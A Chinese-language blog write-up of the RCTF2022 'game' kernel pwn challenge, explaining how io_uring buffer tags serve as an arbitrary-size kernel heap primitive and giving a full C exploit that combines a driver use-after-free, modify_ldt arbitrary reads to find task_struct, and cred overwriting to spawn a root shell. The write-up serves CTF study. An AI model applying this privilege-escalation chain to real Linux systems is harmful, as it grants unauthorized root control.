io_uring在kernel pwn中的优异表现
196082 慢慢好起来

前言

目前各种比赛的各种赛制真的是让人十分难受,以至于感觉自己不怎么适合打比赛了。所以打算静下心来复现一场比赛,在RCTF中找到分值最低的一道题。做的过程中越看越不对劲,还算是有难度的一道内核堆题怎么被打烂了,一搜才发现是有非预期解。但我头铁,静下心来用预期解打,索性功夫不负有心人在这道题目中发现了不得了的东西。

目前的窘境

如果存在UAF的object规定大小只能为0x10的话,各位肯定会想到使用可以实现分配任意大小object的函数。

所以如果提到内核中可以达到任意大小的结构体时估计各位会想到setxattrmsg_msg之类的。但是这两者均具有很大的局限性,setxattr前面提到过,这个在调用完成后会kfree掉使用的object,并且在高版本的linux内核中这个函数早已被修改了。msg_msg这个结构体就更为明显了,需要用很大的空间来保存结构体中的成员。

因为是size很小的堆块所以各位可能还会思考到一部分结构体例如:seq_operationsshm_file_data之类的。但是他们的size也是0x20。

IO_uring

网上关于io_uring对于kernel pwn的利用相对较少,特别是中文文章,我几乎没搜到,搜到的也只是对其进行介绍,并没有实际的操作之类的。所以为了写这篇文章我看了两天Linux内核的源码,眼睛都要瞎了!!!

介绍

关于IO_uring的介绍在网上其实很多。io_uring是2019年Linux 5.1内核首次引入的高性能异步I/O框架,可以显着加速I/O密集型应用程序的性能。为了减少 I/O 操作时的内存映射,该模块允许用户预先注册一些固定的 I/O 缓冲区,以便这些缓冲区可以被重用。这里推荐大家最好去看看关于他的实现。

分析

这里算是这篇文章的重点!

分配object

当我们调用io_uring_register_buffers_tags函数时:

1
2
3
4
5
6
7
8
9
10
11
12
13
int io_uring_register_buffers_tags(struct io_uring *ring,
const struct iovec *iovecs,
const __u64 *tags,
unsigned nr)
{
struct io_uring_rsrc_register reg = {
.nr = nr,
.data = (unsigned long)iovecs,
.tags = (unsigned long)tags,
};

return do_register(ring, IORING_REGISTER_BUFFERS2, &reg, sizeof(reg));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define DIV_ROUND_UP(n,d) (((n) + (d) - 1) / (d))

static __cold void **io_alloc_page_table(size_t size)
{
unsigned i, nr_tables = DIV_ROUND_UP(size, PAGE_SIZE);
size_t init_size = size;
void **table;

table = kcalloc(nr_tables, sizeof(*table), GFP_KERNEL_ACCOUNT);
if (!table)
return NULL;

for (i = 0; i < nr_tables; i++) {
unsigned int this_size = min_t(size_t, size, PAGE_SIZE);

table[i] = kzalloc(this_size, GFP_KERNEL_ACCOUNT);
if (!table[i]) {
io_free_page_table(table, init_size);
return NULL;
}
size -= this_size;
}
return table;
}

最终会进入上面这个函数中,其中的size是我们可以直接进行控制的,可以明显的看出来这里可以真正实现任意大小分配,并且在table[i]也就是ctx->buf_data->tags[i]中不含有任何指针或者数据之类的,在table也就是ctx->buf_data->tags中只含有后面分配的object指针。

更新object

当我们调用io_uring_register_buffers_update_tag函数时,可以对tags也就是我们上面table[i]中分配的object进行内容更新:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int io_uring_register_buffers_update_tag(struct io_uring *ring, unsigned off,
const struct iovec *iovecs,
const __u64 *tags,
unsigned nr)
{
struct io_uring_rsrc_update2 up = {
.offset = off,
.data = (unsigned long)iovecs,
.tags = (unsigned long)tags,
.nr = nr,
};

return do_register(ring, IORING_REGISTER_BUFFERS_UPDATE, &up, sizeof(up));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#define PAGE_SHIFT 12
#define IO_RSRC_TAG_TABLE_SHIFT (PAGE_SHIFT - 3)

static inline u64 *io_get_tag_slot(struct io_rsrc_data *data, unsigned int idx)
{
unsigned int off = idx & IO_RSRC_TAG_TABLE_MASK;
unsigned int table_idx = idx >> IO_RSRC_TAG_TABLE_SHIFT;

return &data->tags[table_idx][off];
}

static int __io_sqe_buffers_update(struct io_ring_ctx *ctx,
struct io_uring_rsrc_update2 *up,
unsigned int nr_args)
{
u64 __user *tags = u64_to_user_ptr(up->tags);
struct iovec iov, __user *iovs = u64_to_user_ptr(up->data);
struct page *last_hpage = NULL;
bool needs_switch = false;
__u32 done;
int i, err;

if (!ctx->buf_data)
return -ENXIO;
if (up->offset + nr_args > ctx->nr_user_bufs)
return -EINVAL;

for (done = 0; done < nr_args; done++) {
struct io_mapped_ubuf *imu;
int offset = up->offset + done;
u64 tag = 0;

err = io_copy_iov(ctx, &iov, iovs, done);
if (err)
break;
if (tags && copy_from_user(&tag, &tags[done], sizeof(tag))) {
err = -EFAULT;
break;
}
err = io_buffer_validate(&iov);
if (err)
break;
if (!iov.iov_base && tag) {
err = -EINVAL;
break;
}
err = io_sqe_buffer_register(ctx, &iov, &imu, &last_hpage);
if (err)
break;

i = array_index_nospec(offset, ctx->nr_user_bufs);
if (ctx->user_bufs[i] != ctx->dummy_ubuf) {
err = io_queue_rsrc_removal(ctx->buf_data, i,
ctx->rsrc_node, ctx->user_bufs[i]);
if (unlikely(err)) {
io_buffer_unmap(ctx, &imu);
break;
}
ctx->user_bufs[i] = ctx->dummy_ubuf;
needs_switch = true;
}

ctx->user_bufs[i] = imu;
*io_get_tag_slot(ctx->buf_data, offset) = tag;
}

if (needs_switch)
io_rsrc_node_switch(ctx, ctx->buf_data);
return done ? done : err;
}

可以看到他这里更新方式也很独树一帜,并不是简单的copy_from_user之类的,而是八个字节八个字节的写。

释放object

调用io_uring_unregister_buffers函数即可对所有object进行释放:

1
2
3
4
int io_uring_unregister_buffers(struct io_uring *ring)
{
return do_register(ring, IORING_UNREGISTER_BUFFERS, NULL, 0);
}
1
2
3
4
5
6
7
8
static void io_free_page_table(void **table, size_t size)
{
unsigned i, nr_tables = DIV_ROUND_UP(size, PAGE_SIZE);

for (i = 0; i < nr_tables; i++)
kfree(table[i]);
kfree(table);
}

最终调用到的是上面这个函数中,其中table的含义跟分配时一致。

总结

通过上面三个方向的分析,各位大佬应该能想到IO_uring在很多方面都可以进行利用,不过他的缺点也很明显,他无法读取堆块上的内容(可能是我没找到,找到的佬可以留言一下)。

RCTF2022 game

现在开始题目分析,出题人师傅是给了源代码的,但是通过ida逆向并不困难,所以下面还是给ida中的代码

驱动分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
void __fastcall hhoge_unlocked_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
__int64 v3; // rbx
__int64 v4; // rbp
__int64 v5; // r12
__int64 v6; // r13
__int64 v7; // r14
__int64 v8; // r15
__int64 v9; // rdx
Maind *maind_chunk; // r13
__int64 new_chunk; // rax
char *username; // rdi
__int64 v13; // rcx
_DWORD *v14; // rsi
_QWORD v15[5]; // [rsp-58h] [rbp-58h] BYREF
__int64 v16; // [rsp-30h] [rbp-30h]
__int64 v17; // [rsp-28h] [rbp-28h]
__int64 v18; // [rsp-20h] [rbp-20h]
__int64 v19; // [rsp-18h] [rbp-18h]
__int64 v20; // [rsp-10h] [rbp-10h]
__int64 v21; // [rsp-8h] [rbp-8h]

_fentry__();
v21 = v4;
v20 = v8;
v19 = v7;
v18 = v6;
v17 = v5;
v16 = v3;
maind_chunk = *(Maind **)(a1 + 0xC8);
v15[4] = __readgsqword(0x28u);
if ( maind_chunk )
{
copy_from_user(v15, v9, 0x20LL);
if ( a2 == 0x72 )
{
change(maind_chunk, v15);
}
else if ( a2 <= 0x72 )
{
if ( a2 == 0x16 )
{
hhoge_unlocked_ioctl_cold();
}
else if ( a2 <= 0x16 )
{
if ( a2 )
{
if ( a2 == 1 )
reborn_0(maind_chunk);
}
else
{
printk("born");
new_chunk = kmem_cache_alloc_trace(kmalloc_caches[5], 0xDC0LL, 0x18LL);
username = maind_chunk->username;
v13 = 8LL;
v14 = v15;
maind_chunk->cur = (void *)new_chunk;
*(_QWORD *)(new_chunk + 8) = "ordinary";
maind_chunk->id = 0LL;
while ( v13 )
{
*(_DWORD *)username = *v14++;
username += 4;
--v13;
}
}
}
}
}
}

在ioctl中分为了四类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __fastcall reborn_0(Maind *context)
{
void *v2; // rax
_DWORD *cur; // rdx
__int64 v4; // rcx
_DWORD *v5; // rdi
_DWORD *v6; // rsi

_fentry__();
printk("reborn");
v2 = (void *)kmem_cache_alloc_trace(kmalloc_caches[5], 0xDC0LL, 0x18LL);
cur = context->cur;
v4 = 6LL;
context->prv = v2;
v5 = v2;
v6 = cur;
while ( v4 )
{
*v5++ = *v6++;
--v4;
}
*((_QWORD *)cur + 1) = "unlucky";
*((_QWORD *)context->cur + 2) = 0xFFFFFFFFFFFE40AELL;
++context->id;
}

其中的reborn_0函数并没有将新分配的object给到cur指针中,而是给到了context->prv中去了。并且会把context->cur[0]的内容复制到context->prv[0]中去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
void __fastcall change_cold(Maind *a1)
{
__int64 v1; // rbp
__int64 v2; // r12
char *v4; // rax
const char *v5; // r14
char *v6; // rax
unsigned __int64 v7; // kr08_8
_QWORD *cur; // r13
__int64 v9; // r15
const char *v10; // rdi
int v11; // eax
int v12; // edx

printk("change");
while ( 1 )
{
do
{
v4 = strsep((char **)(v1 - 0x38), ",");
v5 = v4;
if ( !v4 )
LABEL_24:
JUMPOUT(0x132LL);
}
while ( !*v4 );
v6 = strchr(v4, 0x3D);
if ( !v6 )
break;
if ( v5 != v6 )
{
*v6 = 0;
v7 = strlen(v6 + 1) + 1;
if ( v7 - 1 <= 9 )
{
cur = a1->cur;
if ( !cur )
goto LABEL_24;
if ( v6 != (char *)-1LL )
{
v2 = kmemdup_nul(v6 + 1, v7 - 1, 0xCC0LL);
if ( !v2 )
goto LABEL_24;
}
LABEL_10:
v9 = 0LL;
do
{
v10 = key_list[v9];
if ( !v10 )
goto LABEL_18;
*(_DWORD *)(v1 - 0x3C) = v9++;
v11 = strcmp(v10, v5);
v12 = *(_DWORD *)(v1 - 0x3C);
}
while ( v11 );
if ( v12 == 2 )
{
cur[2] += v2;
}
else if ( v12 <= 2 )
{
if ( v12 )
{
if ( v12 == 1 )
cur[1] = "lucky";
}
else
{
kfree(*cur);
*cur = v2;
v2 = 0LL;
}
}
LABEL_18:
kfree(v2);
}
}
}
cur = a1->cur;
if ( !cur )
goto LABEL_24;
goto LABEL_10;
}

然后就是change函数,这道题唯一难逆向的地方就在这里,仔细看其实也挺简单的,就是进行字符串对比然后进入相应的分值,其中kmemdup_nul函数会分配一个堆块,所以这里就是首先kfree掉当前context->cur[0]然后将新分配的堆块放进去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __fastcall delMaind_0(Maind *context)
{
_QWORD *cur; // r14
_QWORD *prv; // r13

_fentry__();
printk("die\n");
cur = context->cur;
prv = context->prv;
if ( cur )
{
kfree(*cur);
*cur = 0LL;
kfree(cur);
context->cur = 0LL;
}
if ( prv )
{
kfree(*prv);
*prv = 0LL;
kfree(prv);
context->prv = 0LL;
}
kfree(context);
}

这个函数其实也就是hhoge_unlocked_ioctl_cold,可以看到这里会kfree掉的东西很多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ssize_t __fastcall hhoge_read(file *file, char *ubuf, size_t size, loff_t *ppos)
{
unsigned __int64 v4; // rdx
Maind *private_data; // rax
void *v6; // r14
__int64 v7; // r12

_fentry__();
private_data = (Maind *)file->private_data;
if ( !private_data )
return 0LL;
v6 = private_data->cur;
if ( v6 )
{
v7 = 9LL;
if ( v4 <= 9 )
v7 = v4;
_check_object_size(private_data->cur, v7, 1LL);
copy_to_user(ubuf, v6, v7);
}
return 0LL;
}

最后就是read函数,最多只允许读取9个字节的内容。可以很容易的看出来,这里可以直接读取到堆地址。

题目的漏洞很明显,如果我们使用change_cold函数分配一个堆块,那么此时这个堆块的地址在context->cur[0]中随后调用reborn_0函数,那么堆块地址在context->prv[0]中也存在了,那么如果我们再次调用change_cold函数的话,就会kfree调用context->cur[0]中的堆块,但是此时context->prv[0]指针仍然保存着目标堆块的地址,此时就形成了UAF。

利用分析

知道了io_uring以及上面的漏洞的话利用方式就很明显了,这里可以首先利用io_uring可以随意更新内容的机制以及read可以泄漏出堆地址配合modify_ldt实现任意地址读,在堆区中寻在task_struct结构体,进而获得cred地址。这里需要注意的是在新版本task_struct在这一片区域有一点小变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
	/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif

/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];

comm和cred中间新增了一个指针。

随后释放掉ldt结构体,让ctx->buf_data->tag也就是上面的table分配的大小为0x10,使table占据这个UAF的堆块。那我们可以通过ring0的ctx->buf_data->tag[0]也就是table[0]去修改ring1的ctx->buf_data->tagscred地址,如果我们此时修改ring1的ctx->buf_data->tag[0]就可以修改到cred结构体了,完成了提权。

不熟悉上述提到的提权方式可以看一下这篇文章 kernel pwn内存任意读写提升权限[1]

不熟悉modify_ldt的可以看一下这篇文章 modify_ldt利用

综上可得exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
#define _GNU_SOURCE
#include <err.h>
#include <inttypes.h>
#include <sched.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <time.h>
#include <liburing.h>

struct io_uring ring, ring1, ring2;
struct ldt_struct
{
size_t entries;
unsigned int nr_entries;
int slot;
};

void init_uring()
{
io_uring_queue_init(2, &ring, 0);
io_uring_queue_init(2, &ring1, 0);
}

void register_tag(struct io_uring *ring, size_t *data, int num)
{
char tmp_buf[0x2000];
struct iovec vecs[num];
size_t tags[num];
memcpy(tags, data, num * sizeof(size_t));
for (int i = 0; i < num; i++)
{
vecs[i].iov_base = tmp_buf;
vecs[i].iov_len = 1;
}
int res = io_uring_register_buffers_tags(ring, vecs, tags, num);
if (res < 0)
{
errExit(sprintf("io_uring_register_buffers_tags %d\n", res));
}
}

void update_tag(struct io_uring *ring, size_t Data, int num)
{
char tmp_buf[1024];
struct iovec vecs[2];
vecs[0].iov_base = tmp_buf;
vecs[0].iov_len = 1;
vecs[1].iov_base = tmp_buf;
vecs[1].iov_len = 1;
int ret = io_uring_register_buffers_update_tag(ring, 0, vecs, Data, num);
if (ret < 0)
{
errExit(sprintf("io_uring_register_buffers_update_tag %d\n", ret));
}
}

void errExit(char *err_msg)
{
puts(err_msg);
exit(-1);
}

void get_shell()
{
if (getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void print_hex(char *buf, int size)
{
int i;
puts("======================================");
printf("data :\n");
for (i = 0; i < (size / 8); i++)
{
if (i % 2 == 0)
{
if (i / 2 < 10)
{
printf("%d ", i / 2);
}
else if (i / 2 < 100)
{
printf("%d ", i / 2);
}
else
{
printf("%d", i / 2);
}
}
printf(" %16llx", *(size_t *)(buf + i * 8));
if (i % 2 == 1)
{
printf("\n");
}
}
puts("======================================");
}

struct user_desc
{
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit : 1;
unsigned int contents : 2;
unsigned int read_exec_only : 1;
unsigned int limit_in_pages : 1;
unsigned int seg_not_present : 1;
unsigned int useable : 1;
unsigned int lm : 1;
};

unsigned long kernel_addr;
unsigned long kernel_base;
unsigned long kernel_offset;

int fd;

int main()
{
signal(SIGSEGV, get_shell);
signal(SIGINT, get_shell);

char *buf = malloc(0x4000);
int pipe_fd[2] = {0};
unsigned long *info = malloc(0x2000);
uint64_t search_addr;
uint64_t vmlinux_base = 0xffffffff81000000;
char target[16];
char *result;
uint64_t cred = -1;
size_t real_cred = -1;
int root_cred[12];
size_t target_addr;

memset(info, 0, sizeof(info));
strcpy(target, "trytofind196082");
if (prctl(PR_SET_NAME, target, 0, 0, 0) != 0)
{
errExit("cannot set name");
}

fd = open("/dev/game", 0);
if (fd < 0)
{
errExit("failed open /dev/game");
}

puts("\033[34m\033[1m[*] construct double free! \033[0m");

init_uring();
memset(buf, 0, sizeof(buf));
ioctl(fd, 0, buf);
ioctl(fd, 0x72, "flag=aaaaaaaaa"); // context->cur[0] = object(0x10);
read(fd, buf, 8);
uint64_t heap_addr = *(uint64_t *)buf;
printf("\033[32m\033[1m[+] heap_addr : \033[0m %p\n", heap_addr);
ioctl(fd, 1, buf); // context->prv[0] = object(0x10);
ioctl(fd, 0x72, "flag=bbbbbbbbb"); // kfree(context->cur[0]);

struct user_desc desc;
desc.base_addr = 0xff0000;
desc.entry_number = 0x1000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.read_exec_only = 0;
desc.limit_in_pages = 0;
desc.seg_not_present = 0;
desc.useable = 0;
desc.lm = 0;
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)); // context->prev[0] = object(0x10) == ldt_struct;

ioctl(fd, 0x16, buf); // double free kfree(object(ldt_struct));

puts("\n\033[34m\033[1m[*] search cred!\033[0m");

register_tag(&ring, buf, 2);
search_addr = heap_addr & 0xfffffffffffff000;
pipe(pipe_fd);
struct ldt_struct ldt;
unsigned long long int i = 0;

while (1)
{
memset(buf, 0, 0x1000);
ldt.entries = search_addr - i * 0x1000;
ldt.nr_entries = 0x1000 / 8;
update_tag(&ring, &ldt, 2);
if (i && i % 0x200 == 0)
{
printf("\033[34m\033[1m[*] looked up range from \033[0m %p ~ %p\n", search_addr - i * 0x1000, search_addr + i * 0x1000);
}
if (!fork())
{
int res = syscall(SYS_modify_ldt, 0, buf, 0x1000);
if (res != 0x1000)
{
errExit("read_ldt failed!");
}
result = memmem(buf, 0x1000, target, 0x10);
if (result)
{
cred = *(size_t *)(result - 0x10);
real_cred = *(size_t *)(result - 0x18);
if ((real_cred & 0xff00000000000000) && (real_cred == cred))
{
target_addr = search_addr - (i * 0x1000) + (result - buf);
printf("\033[32m\033[1m[+] found task_struct : \033[0m %p\n", target_addr);
printf("\033[32m\033[1m[+] found cred : \033[0m %p\n", real_cred);
}
else
{
real_cred = -1;
printf("\033[31m\033[1m[-]\033[0m cannot rehint cred\n");
}
}
write(pipe_fd[1], &real_cred, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &real_cred, 8);
if (real_cred != -1)
{
break;
}
if (i == 0)
{
i++;
continue;
}
memset(buf, 0, 0x1000);
ldt.entries = search_addr + i * 0x1000;
ldt.nr_entries = 0x1000 / 8;
update_tag(&ring, &ldt, 2);
if (!fork())
{
int res = syscall(SYS_modify_ldt, 0, buf, 0x1000);
if (res != 0x1000)
{
errExit("read_ldt failed!");
}
result = memmem(buf, 0x1000, target, 0x10);
if (result)
{
cred = *(size_t *)(result - 0x10);
real_cred = *(size_t *)(result - 0x18);
if ((real_cred & 0xff00000000000000) && (real_cred == cred))
{
target_addr = search_addr + (i * 0x1000) + (result - buf);
printf("\033[32m\033[1m[+] found task_struct : \033[0m %p\n", target_addr);
printf("\033[32m\033[1m[+] found cred : \033[0m %p\n", real_cred);
}
else
{
real_cred = -1;
printf("\033[31m\033[1m[-]\033[0m cannot rehint cred\n");
}
}
write(pipe_fd[1], &real_cred, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &real_cred, 8);
if (real_cred != -1)
{
break;
}
i++;
}

puts("\n\033[34m\033[1m[*] write cred!\033[0m");

desc.base_addr = 0xff1000;
desc.entry_number = 0x1000 / 4;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.read_exec_only = 0;
desc.limit_in_pages = 0;
desc.seg_not_present = 0;
desc.useable = 0;
desc.lm = 0;
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

memset(buf, 0, 0x1000);
register_tag(&ring1, buf, (0x1000 / 8) + 1);
for (int i = 0; i <= 5; i++)
{
*(uint64_t *)buf = real_cred + 4 + 8 * i;
update_tag(&ring, buf, 1);
*(uint64_t *)buf = 0;
read(fd, info, 9);
update_tag(&ring1, buf, 1);
}
*(uint64_t *)buf = search_addr + 0x3000000;
update_tag(&ring, buf, 1);
puts("\033[32m\033[1m[+] write Done \033[0m");
get_shell();

return 0;
}

image-20230420164729825


参考链接:

https://blog.rois.io/2022/rctf-2022-official-write-up/

https://elixir.bootlin.com/linux/v6.0.12/source

https://github.com/axboe/liburing/tree/d6527ac94c1bb2a2551b45899b23e8d256c3f896

题目链接:

​ XCTF中可以下载

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量